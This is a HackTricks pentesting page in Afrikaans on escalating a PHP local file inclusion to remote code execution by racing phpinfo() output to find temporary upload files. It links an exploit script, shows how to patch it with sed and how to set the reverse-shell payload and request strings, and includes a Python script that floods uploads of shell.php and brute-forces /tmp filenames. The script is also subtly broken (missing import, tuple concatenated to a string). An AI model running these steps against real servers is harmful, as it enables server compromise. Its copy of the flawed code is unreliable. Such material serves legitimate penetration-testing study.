hacktricks/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
2024-02-11 02:07:06 +00:00

78 lines
5.3 KiB
Markdown

<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
Om van hierdie kwesbaarheid gebruik te maak, benodig jy: **'n LFI-kwesbaarheid, 'n bladsy waar phpinfo() vertoon word, "file\_uploads = on" en die bediener moet in staat wees om in die "/tmp" gids te skryf.**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
Jy moet die uitbuiting regstel (verander **=>** na **=>**). Jy kan dit doen deur:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
Jy moet ook die **payload** aan die begin van die aanval verander (byvoorbeeld vir 'n php-rev-shell), die **REQ1** (dit moet na die phpinfo-bladsy wys en die padding ingesluit hê, bv.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), en **LFIREQ** (dit moet na die LFI kwesbaarheid wys, bv.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Kyk na die dubbele "%" wanneer jy die null karakter uitbuit)
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
### Teorie
As oplaai toegelaat word in PHP en jy probeer 'n lêer oplaai, word hierdie lêer gestoor in 'n tydelike gids totdat die bediener klaar is met die verwerking van die versoek, waarna hierdie tydelike lêer verwyder word.
Dan, as jy 'n LFI kwesbaarheid in die webbediener gevind het, kan jy probeer raai wat die naam van die tydelike lêer is en 'n RCE uitbuit deur toegang tot die tydelike lêer te verkry voordat dit verwyder word.
In **Windows** word die lêers gewoonlik gestoor in **C:\Windows\temp\php**
In **Linux** is die naam van die lêer gewoonlik **willekeurig** en geleë in **/tmp**. Aangesien die naam willekeurig is, moet dit **uit êrens die naam van die tydelike lêer onttrek** en dit toegang voordat dit verwyder word. Dit kan gedoen word deur die waarde van die **variable $\_FILES** binne die inhoud van die funksie "**phpconfig()**" te lees.
**phpinfo()**
**PHP** gebruik 'n buffer van **4096B** en wanneer dit **vol** is, word dit **gestuur na die kliënt**. Dan kan die kliënt **baie groot versoek** stuur (met groot koppe) om 'n php omgekeerde skulp te oplaai, wag vir die **eerste deel van die phpinfo() om terug te keer** (waar die naam van die tydelike lêer is) en probeer om **toegang tot die tydelike lêer** te verkry voordat die php-bedienaar die lêer verwyder deur 'n LFI kwesbaarheid uit te buit.
**Python-skripsie om te probeer om die naam te raai (as lengte = 6)**
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
```
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
</details>